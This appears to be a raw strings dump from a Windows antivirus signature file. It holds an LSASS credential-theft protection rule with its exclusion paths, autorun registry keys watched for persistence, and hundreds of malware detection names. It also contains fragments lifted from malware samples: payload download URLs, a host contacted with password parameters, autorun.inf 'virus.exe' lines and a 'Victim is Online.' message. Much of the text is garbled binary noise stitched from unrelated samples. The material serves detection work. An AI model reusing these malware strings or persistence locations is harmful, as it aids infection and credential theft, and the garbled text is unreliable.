9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2 Block credential stealing from the Windows local security authority subsystem (lsass.exe) ZBlock credential stealing from the Windows local security authority subsystem (lsass.exe) Windows Defender Exploit Guard detected an attempt to extract credentials from LSASS. VWindows Defender Exploit Guard detected an attempt to extract credentials from LSASS.  @\t@@ %windir%\\system32\\lsass.exe %windir%\\system32\\WerFaultSecure.exe %%windir%\\system32\\WerFaultSecure.exe %windir%\\system32\\mrt.exe %windir%\\system32\\svchost.exe %windir%\\system32\\wbem\\WmiPrvSE.exe $%windir%\\system32\\wbem\\WmiPrvSE.exe %windir%\\SysWOW64\\wbem\\WmiPrvSE.exe $%windir%\\SysWOW64\\wbem\\WmiPrvSE.exe %programfiles(x86)%\\Microsoft Intune Management Extension\\ClientHealthEval.exe O%programfiles(x86)%\\Microsoft Intune Management Extension\\ClientHealthEval.exe %programfiles(x86)%\\Microsoft Intune Management Extension\\SensorLogonTask.exe N%programfiles(x86)%\\Microsoft Intune Management Extension\\SensorLogonTask.exe %programfiles(x86)%\\Microsoft Intune Management Extension\\Microsoft.Management.Services.IntuneWindowsAgent.exe o%programfiles(x86)%\\Microsoft Intune Management Extension\\Microsoft.Management.Services.IntuneWindowsAgent.exe %programfiles(x86)%\\Cisco\\Cisco AnyConnect Secure Mobility Client\\vpnagent.exe O%programfiles(x86)%\\Cisco\\Cisco AnyConnect Secure Mobility Client\\vpnagent.exe %programfiles(x86)%\\Zoom\\bin\\CptHost.exe )%programfiles(x86)%\\Zoom\\bin\\CptHost.exe %programfiles(x86)%\\Microsoft\\EdgeUpdate\\MicrosoftEdgeUpdate.exe A%programfiles(x86)%\\Microsoft\\EdgeUpdate\\MicrosoftEdgeUpdate.exe %programfiles(x86)%\\Google\\Update\\GoogleUpdate.exe 3%programfiles(x86)%\\Google\\Update\\GoogleUpdate.exe %programfiles(x86)%\\Splunk\\bin\\splunkd.exe +%programfiles(x86)%\\Splunk\\bin\\splunkd.exe %programfiles%\\Avecto\\Privilege Guard Client\\DefendpointService.exe D%programfiles%\\Avecto\\Privilege Guard Client\\DefendpointService.exe %programfiles%\\Intel\\SUR\\QUEENCREEK\\x64\\esrv_svc.exe 5%programfiles%\\Intel\\SUR\\QUEENCREEK\\x64\\esrv_svc.exe %programfiles%\\Microsoft Monitoring Agent\\Agent\\HealthService.exe B%programfiles%\\Microsoft Monitoring Agent\\Agent\\HealthService.exe %programfiles%\\Microsoft Monitoring Agent\\Agent\\MOMPerfSnapshotHelper.exe J%programfiles%\\Microsoft Monitoring Agent\\Agent\\MOMPerfSnapshotHelper.exe %programfiles%\\Nexthink\\Collector\\Collector\\nxtsvc.exe 7%programfiles%\\Nexthink\\Collector\\Collector\\nxtsvc.exe %programfiles%\\Splunk\\bin\\splunkd.exe &%programfiles%\\Splunk\\bin\\splunkd.exe %windir%\\CCM\\CcmExec.exe %windir%\\CCM\\SensorLogonTask.exe !%windir%\\CCM\\SensorLogonTask.exe %windir%\\Temp\\*\\Extract\\TrolleyExpress.exe +%windir%\\Temp\\*\\Extract\\TrolleyExpress.exe %programdata%\\Citrix\\Citrix Receiver*\\TrolleyExpress.exe 9%programdata%\\Citrix\\Citrix Receiver*\\TrolleyExpress.exe %programdata%\\Citrix\\Citrix Workspace *\\TrolleyExpress.exe ;%programdata%\\Citrix\\Citrix Workspace *\\TrolleyExpress.exe %programfiles(x86)%\\Citrix\\Citrix Workspace *\\TrolleyExpress.exe A%programfiles(x86)%\\Citrix\\Citrix Workspace *\\TrolleyExpress.exe %temp%\\*\\Extract\\TrolleyExpress.exe $%temp%\\*\\Extract\\TrolleyExpress.exez \t_#LOWFI:Lua:ContextualDropFileOutlookExtBin \t_#LOWFI:Lua:ContextualDropFileOutlookExtBinU3* _#LOWFI:Lua:ContextualDropFileOutlookExtOffice _#LOWFI:Lua:ContextualDropFileOutlookExtOfficeU3 _#LOWFI:Lua:ContextualDropFileOutlookExtScript _#LOWFI:Lua:ContextualDropFileOutlookExtScriptz  NU4l 2_#LOWFI:Lua:ContextualDropFileOutlookExtArchive 2_#LOWFI:Lua:ContextualDropFileOutlookExtArchiveU4 _#LOWFI:Lua:ContextualDropFileOutlookDefaultBin _#LOWFI:Lua:ContextualDropFileOutlookDefaultBinU7 0>_#LOWFI:Lua:ContextualDropFileOutlookDefaultScript 0>_#LOWFI:Lua:ContextualDropFileOutlookDefaultScriptU7 V_#LOWFI:Lua:ContextualDropFileOutlookDefaultOffice V_#LOWFI:Lua:ContextualDropFileOutlookDefaultOfficeU8%T _#LOWFI:Lua:ContextualDropFileOutlookDefaultArchive _#LOWFI:Lua:ContextualDropFileOutlookDefaultArchivez HKCU\\SOFTWARE2HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\\\*2HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\\\*EHKLM\\Software\\Microsoft\\Windows\\CURRENTVERSION\\Control Panel\\CPLs\\\\*DHKLM\\Software\\Microsoft\\Windows\\CURRENTVERSION\\Control Panel\\CPLs\\*GHKLM\\Software\\Microsoft\\Windows\\CURRENTVERSION\\Control Panel\\CPLs\\*\\\\*A(16777227),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\\\*A(16777227),HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\\\*E(16777227),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\\\\*E(16777227),HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\\\\*L(16777227),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCEEX\\*(1)\\\\*L(16777227),HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCEEX\\*(1)\\\\*I(16777227),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNSERVICES\\\\*I(16777227),HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNSERVICES\\\\*M(16777227),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNSERVICESONCE\\\\*M(16777227),HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNSERVICESONCE\\\\*AHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\Uninstall\\*(1)\\\\*AHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\Uninstall\\*(1)\\\\* (16777227),HKLM\\software\\microsoft\\windows nt\\currentversion\\terminal server\\install\\software\\microsoft\\windows\\currentversion\\run\\\\* (16777227),HKCU\\software\\microsoft\\windows nt\\currentversion\\terminal server\\install\\software\\microsoft\\windows\\currentversion\\run\\\\* (16777227),HKLM\\software\\microsoft\\windows nt\\currentversion\\terminal server\\install\\software\\microsoft\\windows\\currentversion\\runonce\\\\* (16777227),HKCU\\software\\microsoft\\windows nt\\currentversion\\terminal server\\install\\software\\microsoft\\windows\\currentversion\\runonce\\\\*MHKLM\\SOFTWARE\\Wow6432Node\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\Uninstall\\*(1)\\\\*MHKCU\\SOFTWARE\\Wow6432Node\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\Uninstall\\*(1)\\\\*M(16777227),HKLM\\SOFTWARE\\Wow6432Node\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\\\*M(16777227),HKCU\\SOFTWARE\\Wow6432Node\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\\\*Q(16777227),HKLM\\SOFTWARE\\Wow6432Node\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\\\\*Q(16777227),HKCU\\SOFTWARE\\Wow6432Node\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\\\\*X(16777227),HKLM\\SOFTWARE\\Wow6432Node\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCEEX\\*(1)\\\\*X(16777227),HKCU\\SOFTWARE\\Wow6432Node\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCEEX\\*(1)\\\\*U(16777227),HKLM\\SOFTWARE\\Wow6432Node\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNSERVICES\\\\*U(16777227),HKCU\\SOFTWARE\\Wow6432Node\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNSERVICES\\\\*Y(16777227),HKLM\\SOFTWARE\\Wow6432Node\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNSERVICESONCE\\\\*Y(16777227),HKCU\\SOFTWARE\\Wow6432Node\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNSERVICESONCE\\\\* HKLM\\software\\Wow6432Node\\microsoft\\windows nt\\currentversion\\terminal server\\install\\software\\microsoft\\windows\\currentversion\\run\\\\* HKCU\\software\\Wow6432Node\\microsoft\\windows nt\\currentversion\\terminal server\\install\\software\\microsoft\\windows\\currentversion\\run\\\\* HKLM\\software\\Wow6432Node\\microsoft\\windows nt\\currentversion\\terminal server\\install\\software\\microsoft\\windows\\currentversion\\runonce\\\\* HKCU\\software\\Wow6432Node\\microsoft\\windows nt\\currentversion\\terminal server\\install\\software\\microsoft\\windows\\currentversion\\runonce\\\\*MHKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\*(infinite)THKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.htm\\UserChoice\\\\*UHKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.html\\UserChoice\\\\*THKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.pdf\\UserChoice\\\\*THKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.doc\\UserChoice\\\\*UHKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.docx\\UserChoice\\\\*THKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.ppt\\UserChoice\\\\*UHKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.pptx\\UserChoice\\\\*THKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.xls\\UserChoice\\\\*UHKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.xlsx\\UserChoice\\\\*WHKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.accdbs\\UserChoice\\\\*OHKCU\\SOFTWARE\\Microsoft\\Windows\\Shell\\Associations\\UrlAssociations\\*(infinite)VHKCU\\SOFTWARE\\Microsoft\\Windows\\Shell\\Associations\\UrlAssociations\\http\\UserChoice\\\\*WHKCU\\SOFTWARE\\Microsoft\\Windows\\Shell\\Associations\\UrlAssociations\\https\\UserChoice\\\\*DHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\POLICIES\\EXPLORER\\\\*HHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\POLICIES\\EXPLORER\\RUN\\\\*HHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\POLICIES\\EXPLORER\\RUN\\\\*THKLM\\SOFTWARE\\Wow6432Node\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\POLICIES\\EXPLORER\\RUN\\\\*THKCU\\SOFTWARE\\Wow6432Node\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\POLICIES\\EXPLORER\\RUN\\\\*WHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\POLICIES\\ASSOCIATIONS\\\\LOWRISKFILETYPESWHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\POLICIES\\ASSOCIATIONS\\\\MODRISKFILETYPESHHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\POLICIES\\SYSTEM\\SHELL\\\\*HHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\POLICIES\\SYSTEM\\SHELL\\\\*JHKLM\\SOFTWARE\\MICROSOFT\\WINDO 65b32e3c7ac1  71b38107c3a6  92785a4f4c70   fa786f5a565e  do_exhaustivehstr_64bit_rescan_adload &do_exhaustivehstr_64bit_rescan_adload do_exhaustivehstr_rescan_adload  do_exhaustivehstr_rescan_adload 17a7862ebb098 HSTR:Adware:Win32/ZoomyLib.D 277802ddda7e ^%.data%d$ 3eb3b40dbf88  privacy \t privacy 1137878330f0d  do_exhaustivehstr_64bit_rescan_istuni &do_exhaustivehstr_64bit_rescan_istuni do_exhaustivehstr_rescan_istuni  do_exhaustivehstr_rescan_istuni !#pdfrtfole2link !#pdfrtfole2linkObMpAttributes .pdf->(rtf 1f89547dbbad ....=....u 8278aa752d33 SIGATTR:ExCheckInstalledAV SIGATTR:DirectoryWalkerVfs !#LUA:O97M/Emotet sgm_emotet_downloader_maldoc_ 2540889e6818 viracure \tviracure 2540b9a80441 41b3d34a9087  \\([^\\]+)%.exe$ 9c7804144ecf  !#Lua:SingleFileHTAInZip !#Lua:SingleFileUrlInZip !#ALF:HackTool:PHP/Sirensheet.A!dha !#ALF:HackTool:PHP/Sirensheet.A!dhaObMpAttributes getpasswordpage.php 25899aa5126d 2689043d2cd1 268952f8097c 2d412787b3a9 35b3e47041e0 \\seal systems\\p2p_scripts\\ 3a784eaf4596  64786684f5fd epsecwr 71b3be4d5f4b 85789e0d7173  do_exhaustivehstr_64bit_rescan_swiminen (do_exhaustivehstr_64bit_rescan_swiminen do_exhaustivehstr_rescan_swiminen \"do_exhaustivehstr_rescan_swiminen 977847bbd54f  177800812033 177800812033Flags1  25b38bf05953 25b38bf05953IncludesBMLuaLib Behavior:Win32/CobaltStrike.D!sms \"Behavior:Win32/CobaltStrike.D!sms 65b341ec167c 65b341ec167cIncludesBMLuaLib Behavior:Win32/CobaltStrike.E!sms \"Behavior:Win32/CobaltStrike.E!sms a7b398eb9003 a7b398eb9003IncludesResearchData  processinjection_source_dridex !#Lua:VhdxFile  Lua:VhdxFile  !#Lua:PowerShell/Ploty.C %->%[powershellb64%]%->%(base64%) \"%->%[powershellb64%]%->%(base64%) !#Lua:SingleFileDocInZip Ransom: RansomAsepCloudRegKeyScan  ntrunkey:// runkey://  runonce:// runonceex://  2db3eb6b3adf 8841a83ce076 8d78aa7ad856  9db3d5141137 19978e0755523  do_exhaustivehstr_64bit_rescan_soladaft (do_exhaustivehstr_64bit_rescan_soladaft do_exhaustivehstr_rescan_soladaft \"do_exhaustivehstr_rescan_soladaft MagicThreat_7ffe388b mavsigs\\luastandalone\\CallistoTestFile.debuglua 0mavsigs\\luastandalone\\CallistoTestFile.debuglua rempol RemovalPolicy SetRemovalPolicy 15b371a21aa5 \\services.exe  !Small.AAAI http://69.31.84.223/ http://trackhits.cc/cnt -Software\\Microsoft\\Windows\\CurrentVersion\\Run] !Bagle.QR !Vundo.Z U U7. !Small.AAAJ !Agent.DPC !Agent.DPD !Slenfbot.HH !Bagle.QS !QQHelper.KA NSISdl.dll    qqhelper.com/bindsoft11/bindsetup.exe %qqhelper.com/bindsoft11/bindsetup.exe qqhelper.com/bindsoft/bindsetup !Pushbot.BM !Slenfbot.HI !Slenfbot.HJ !Slenfbot.HK !Slenfbot.HL !Slenfbot.HM !Bagle.QT !Renos.gen!AE !Agent.GP \\systhecatmsg.gif \\sysmsgprocess \\systhecatmsg.gifGIFEXEINF%s w\\sysmsgprocess FirstName http://www.455465x.com/test/IP.asp FirstNamexinghttp://www.455465x.com/test/IP.asp &Password= ?Number= &Password=?Number=Q Tencent_QQBar sysmsgtart Tencent_QQBarsysmsgtartSOFT \\themsgmove.exe \\autorun.in QQ.exe\\themsgmove.exe\\autorun.in] <notepod.exe\\shell\\open\\command C:\\WINDOWS\\SYSTEM32\\rsvp.exe <notepod.exe\\shell\\open\\commandC:\\WINDOWS\\SYSTEM32\\rsvp.exe &\"C:\\WINDOWS\\SYSTEM32\\notepod.exe\" \"%1\" @Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.txt &{990B770D-62AE-5421-DA6D-16033B76258C} &{990B770D-62AE-5421-DA6D-16033B76258C}] !Small.BPN c:\\muma.exe c:\\123.exe c:\\muma.exec:\\123.exehttp:/ torun.inf shell\\open\\command=virus.exe \\virus.exe torun.infshell\\open\\command=virus.exe[AutoRun]\\virus.exe rentVersion\\Run \\usbvirus.exe rentVersion\\Run\\usbvirus.exeTest] !Conhook.H !Slenfbot.HN !Slenfbot.HO !Slenfbot.HP !Slenfbot.HQ !Slenfbot.HR !Pushbot.BN !Pushbot.BO hOB ] !Pushbot.BP !Bagle.QU !Slenfbot.HS !Slenfbot.HT !Slenfbot.HU !Renos.CN !Agent.AIB !Slenfbot.HV !Slenfbot.HW !Slenfbot.HX !Slenfbot.HY Wn^#1 !Slenfbot.HZ !Slenfbot.IA !Pushbot.gen!D !Bagle.QV -6=R[ !Bagle.QW !Matcash.KU cmcboo.com/ack.php?uid=00000000-0000-1033--ss0000&version=16&actionname=_regcheck&action=CheckBundle ))  kernInstall.exe kernInst.exe wininstall.exe Installeur.exe  install_words InetGet2 InetGet2] !Agent.BCI dZ.0K< !Pushbot.BQ !Pushbot.BR !Zlob.gen!AP 5Small.BKV !Small.BKV !Slenfbot.IB !Slenfbot.IC !Slenfbot.ID !Slenfbot.IE !Bagle.QX -6=RV !Renos.CO aabaalallert2fgllertqoadwindowsxV aabaalallert2fgllertqoadwindows] !Slenfbot.IF !Zlob.gen!AQ #0 ]cL !Zlob.gen!AR !Zlob.KG HC2A1C5CB-C0EF-4689-9436-F62CCA1C5383 ssft.dll dnsduepage.com sn.com/res Fpuresafetyhere.com/search.php?qq=%s !Slenfbot.IG !Slenfbot.IH !Slenfbot.II !Slenfbot.IJ !Slenfbot.IK !Zlob.gen!AS 5B0 0 !Zlob.gen!AT 4* 0 !Zlob.gen!AU !Small.AAAL !Slenfbot.IL !Slenfbot.IM QZ.CI !Slenfbot.IN !Slenfbot.IO !Bagle.QY -6=RN !Small.AAAM !Agent.ADH .x/txt.txt  DownloadEnd Registered \\mshntfy16.dat \\mshd Registered\\mshntfy16.dat\\mshd] !Goldun.ZZR !Ldpinch.ZC !Agent.AAE !Bagle.QZ -6=RC !Bagle.RA !Slenfbot.IP !Slenfbot.IQ !Vundo.AA !Slenfbot.IR !Bagle.RB !Bagle.RC !Renos.CP !Alureon.gen!G HexDecoder HexEncoder LoadStr MD5Hash HexDecoderHexEncoderLoadStrMD5Hash DcryptDll.dll notepad.exe.dat calc.exe.dat freebsd.exe.dat Software\\VideoPorn linux linuxFFFDecrypt SOFTWARE INSTALLATION: Components bundled into the software may report to Licensor Nullsoft Install System] !Alureon.gen!H !Slenfbot.IS !Slenfbot.IT !C2Lop.E !Bagle.RD !Slenfbot.IU !Slenfbot.IV !Slenfbot.IW !Slenfbot.IX !Goldun.AH !Slenfbot.IY !Pushbot.BU q?I DU9 !Pushbot.BV !Small.AAAN !Slenfbot.IZ !Slenfbot.JA !Slenfbot.JB !Small.AJA !Small.AJB http://www.vivendosemfronteiras.com/torpedo/sms/foto/vivo/fototorpedo/ ?0Ohttp://www.vivendosemfronteiras.com/torpedo/sms/foto/vivo/fototorpedo/ !Small.AJC ?0#G, !Small.AJD !Small.AJE !Small.AJF !Small.AJG !Bagle.RE .cY}: !Small.BKX  F1o! 00 F1o! !Wantvi.G !Bagle.RF -6=R ( !Slenfbot.JC !Slenfbot.JD !Pushbot.BW !Slenfbot.JE !Renos.CQ   CLEAN] !Small.XJ CURRENT_USER NtOpenSection CURRENT_USER\\Device\\PhysicalMemoryntdllNtOpenSectionKeServiceDescriptorTable Mozilla/4.0 (compatible) svchost.exeMozilla/4.0 (compatible)] !Ldpinch.IE   Victim is Online. project1.exe 5SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon  192.168.0. 151.164.1.8 212.101.97.7 151.164.23.201  ege.edu.tr www.bigglook.com systemdna@Yahoo.com systemdna@Yahoo.com] !Agent.ACG  verysilentd d AutoInsQyuled &{3B7CBEE9-89A2-449c-B88E-22498FBAB005} \tsetup.exe AutoInsQyuled&{3B7CBEE9-89A2-449c-B88E-22498FBAB005} QyuleInstall.exe !http://update.qyule.com/setup.exe  http://218.204.253.145/setup.exe  http://218.204.253.145/setup.exe] !Zlob.ANA  The computer has been infected!! myfirstgaysex.com/ 2Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) ShellExecuteExA !Pushbot.BX !Pushbot.BY GT>@] !Agent.ZAM !Small.AAAO !Zlob.gen!AV  SVW3 VVVVjdjd {6BF52A52-394A-11D3-B153-00C04F79FAA6} Software\\NetProject] !Slenfbot.JF !Bagle.RG !Bagle.RH -6=Rp !Wantvi.A !Wantvi.H !Harnig.gen!L !Goldun.ZZS !Goldun.ZZT !Goldun.ZZU !Goldun.ZZV !Small.NX ^R>?0 !Virtumonde.N !Slenfbot.JH !Slenfbot.JI !Slenfbot.JG !Agent.GQ  200.206.97.42  ACTIVX.exe \t   http://upload.exe \\msjava32\\%s.key C:\\windows\\xxxzzzyyy.exe UnhookWindowsHookExd UnhookWindowsHookExd! !Small.CAF Ek)2& 71b^nq zg8n6 YT`;S6 G\\v9v \"6%%6 9c#.;sg hrs5 2 RJS 4K6Wb6 /s#%q swhAN6 [Mp; 4 7B\\zy`F )z;sl T} \t'4v; uj`B8( % }dJ *,yCp vv@Yf \"wB!>la` A]pw(|] .#VzO\\!k .lSup ,1^:Xq d@e@t \"V.), +|qx\" 1U8v@4 bJ]4~N= (8$7[ VKo=w iy>)%($D,  Q^.! Zo\\MA wEe=2   G8J\"L t wm\t +7U8NT MfAC'EW1d lNzq? %j*Jq \"MC.V6 PZh0s@(z %qhTK$ \t%4`i \"ZdP{ %|s!P 3 320 @sU+] >]g=-hf ePVx2 ~xiGX ElqN\t !#attrmatch_codepatch_EIP_0000000E_043 I% !#attrmatch_codepatch_EIP_0000000E_043 I% !#attrmatch_codepatch_EIP_00000010_EB !#attrmatch_codepatch_EIP_00000012_0A I% !#attrmatch_codepatch_EIP_00000012_0A !#attrmatch_codepatch_EIP_00000012_EBU I% !#attrmatch_codepatch_EIP_00000012_EBU SVWt _3 !#attrmatch_codepatch_EIP_00000012_EB_^ I% !#attrmatch_codepatch_EIP_00000012_EB_^ I% !#attrmatch_codepatch_EIP_00000012_EB !#attrmatch_codepatch_EIP_00000018_FF I% !#attrmatch_codepatch_EIP_00000018_FF !#attrmatch_codepatch_eip_0000000B_EB I% !#attrmatch_codepatch_eip_0000000B_EB !#attrmatch_codepatch_eip_00000011_90 I% !#attrmatch_codepatch_eip_00000011_90 C =oleFt !#PEBMPPAT:VirTool:Win32/ModifiedFsg.A !#attrmatch_codepatch_EIP_00000003_90E9 !#attrmatch_codepatch_EIP_00000004_9090XH !#attrmatch_codepatch_EIP_00000005_EB12 !#attrmatch_codepatch_EIP_00000007_9090F !#attrmatch_codepatch_EIP_0000000B_33D2 !#attrmatch_codepatch_EIP_0000000B_9090H !#attrmatch_codepatch_EIP_0000000C_9090Y !#attrmatch_codepatch_EIP_0000000E_EB0DYXQQQj !#attrmatch_codepatch_EIP_00000015_9090 !#attrmatch_codepatch_EIP_00000019_9090U !#attrmatch_codepatch_EIP_0000001b_9090 !#attrmatch_codepatch_eip_00000014_29DEa !#PEBMPAT:VirTool:Win32/Obfuscator.ACV!EP !#attrmatch_codepatch_EIP_00000000_33c990 !#attrmatch_codepatch_EIP_00000010_010000 !#attrmatch_codepatch_EIP_00000013_909090` !#attrmatch_codepatch_EIP_0000001A_6AEE59 !#attrmatch_codepatch_EIP_00000000_92424890BHu !#attrmatch_codepatch_EIP_00000002_01000000 !#attrmatch_codepatch_EIP_00000011_02000000 !#attrmatch_codepatch_EIP_00000011_31C09090903 !#attrmatch_codepatch_EIP_00000007_909090909090F !#attrmatch_codepatch_EIP_00000007_909090909090G !#PEBMPAT:Deep_Analysis3 /!#PEBMPAT:Deep_Analysis3 !#PEBMPAT:Obfuscator.CW /!#PEBMPAT:Obfuscator.CW SVWQd )!#attrmatch_DTBranch_EIP_0_r1 QjAVj !#PEBMPAT:Vundo_StrFormatKBSizeWf J &!#PEBMPAT:Vundo_StrFormatKBSizeWf !#PEBMPAT:lua_codepatch_ursnif_32 J!%!#PEBMPAT:lua_codepatch_ursnif_32 j@h0h J%!!#attrmatch_codepatch_EIP_00000003_EB !#attrmatch_codepatch_EIP_0000000F_EB J%!!#attrmatch_codepatch_EIP_0000000F_EB J%!!#attrmatch_codepatch_EIP_00000010_EB !#attrmatch_codepatch_EIP_00000011_043 J%!!#attrmatch_codepatch_EIP_00000011_043 !#attrmatch_codepatch_EIP_00000015_EBU J%!!#attrmatch_codepatch_EIP_00000015_EBU !#attrmatch_codepatch_EIP_0000001A_8C J%!!#attrmatch_codepatch_EIP_0000001A_8C !#attrmatch_codepatch_EIP_0000001C_FF J%!!#attrmatch_codepatch_EIP_0000001C_FF !#attrmatch_codepatch_EIP_0000001D_EB J%!!#attrmatch_codepatch_EIP_0000001D_EB ahdlL ahdlLhame.hiefrT !#attrmatch_codepatch_EIP_00000048_EB J%!!#attrmatch_codepatch_EIP_00000048_EB !#attrmatch_codepatch_EIP_00000C78_85 J%!!#attrmatch_codepatch_EIP_00000C78_85 D$,UI !#attrmatch_codepatch_EIP_000069C9_01 J%!!#attrmatch_codepatch_EIP_000069C9_01 !#attrmatch_codepatch_EIP_0000000C_9090 !#attrmatch_codepatch_EIP_0000000D_EB0C !#attrmatch_codepatch_EIP_0000000b_eb0e !#attrmatch_codepatch_EIP_00000011_9090PSj !#attrmatch_codepatch_EIP_00000012_90E9 !#attrmatch_codepatch_EIP_00000015_9090j<Y !#attrmatch_codepatch_EIP_00000018_0290 !#attrmatch_codepatch_EIP_00000019_9090 !#attrmatch_codepatch_EIP_0000001B_4190SQ !#attrmatch_codepatch_EIP_00000012_909090X !#attrmatch_codepatch_EIP_00000004_01000000O !#attrmatch_codepatch_EIP_00000010_01000000 !#attrmatch_codepatch_EIP_00000011_01000000RQ !#attrmatch_codepatch_EIP_0000000C_90909031C031DBI !#attrmatch_codepatch_EIP_00000000_8907909090909090909090P J9 J9 !#QuickBatch_WriteSVWQ 5!#QuickBatch_WriteSVWQ !#PEBMPAT:Disable_SEH_Limitd ,!#PEBMPAT:Disable_SEH_Limitd !#PEBMPAT:VirTool:Win32/KME.2` *!#PEBMPAT:VirTool:Win32/KME.2` !#attrmatch_DTBranch_EIP_39_r1 )!#attrmatch_DTBranch_EIP_39_r1 !#attrmatch_DTBranch_EIP_C5_r1 )!#attrmatch_DTBranch_EIP_C5_r1 K!&!#PEBMPAT:lua_codepatch_ursnif_32 K!&!#PEBMPAT:lua_codepatch_ursnif_64H K!&!#PEBMPAT:lua_codepatch_ursnif_64QRAPSVW !#attrmatch_codepatch_EIP_00000005_EB=1{ K%\"!#attrmatch_codepatch_EIP_00000005_EB=1{ !#attrmatch_codepatch_EIP_00000005_EB= K%\"!#attrmatch_codepatch_EIP_00000005_EB= !#attrmatch_codepatch_EIP_00000007_74K K%\"!#attrmatch_codepatch_EIP_00000007_74K CU\t4$X K%\"!#attrmatch_codepatch_EIP_00000007_EB !#attrmatch_codepatch_EIP_00000008_00 K%\"!#attrmatch_codepatch_EIP_00000008_00 K%\"!#attrmatch_codepatch_EIP_00000009_EB !#attrmatch_codepatch_EIP_0000000B_00 K%\"!#attrmatch_codepatch_EIP_0000000B_00 K%\"!#attrmatch_codepatch_EIP_0000000D_EB !#attrmatch_codepatch_EIP_0000000E_00 K%\"!#attrmatch_codepatch_EIP_0000000E_00 !#attrmatch_codepatch_EIP_00000010_043 K%\"!#attrmatch_codepatch_EIP_00000010_043 K%\"!#attrmatch_codepatch_EIP_00000012_EB !#attrmatch_codepatch_EIP_00000015_73 K%\"!#attrmatch_codepatch_EIP_00000015_73 !#attrmatch_codepatch_EIP_00000015_75P K%\"!#attrmatch_codepatch_EIP_00000015_75P K%\"!#attrmatch_codepatch_EIP_00000017_EB !#attrmatch_codepatch_EIP_0000001A_74 K%\"!#attrmatch_codepatch_EIP_0000001A_74 K%\"!#attrmatch_codepatch_EIP_0000001C_FF !#attrmatch_codepatch_EIP_0000001D_00f K%\"!#attrmatch_codepatch_EIP_0000001D_00f !#attrmatch_codepatch_EIP_0000001E_00 K%\"!#attrmatch_codepatch_EIP_0000001E_00 !#attrmatch_codepatch_EIP_00000022_17 K%\"!#attrmatch_codepatch_EIP_00000022_17 !#attrmatch_codepatch_EIP_00000026_00f K%\"!#attrmatch_codepatch_EIP_00000026_00f !#attrmatch_codepatch_eip_00000008_EB K%\"!#attrmatch_codepatch_eip_00000008_EB !#attrmatch_codepatch_EIP_00000006_90E9 K' !#attrmatch_codepatch_EIP_00000006_90E9 !#attrmatch_codepatch_EIP_0000000A_9090XZYZ K' !#attrmatch_codepatch_EIP_0000000A_9090XZYZ RQRP3 !#attrmatch_codepatch_EIP_0000000A_9090YXZX K' !#attrmatch_codepatch_EIP_0000000A_9090YXZX PRPQ3 !#attrmatch_codepatch_EIP_0000000A_9090YZXZ K' !#attrmatch_codepatch_EIP_0000000A_9090YZXZ RPRQ3 K' !#attrmatch_codepatch_EIP_0000000A_9090 K' !#attrmatch_codepatch_EIP_0000000C_9090Y !#attrmatch_codepatch_EIP_0000000D_9090Y K' 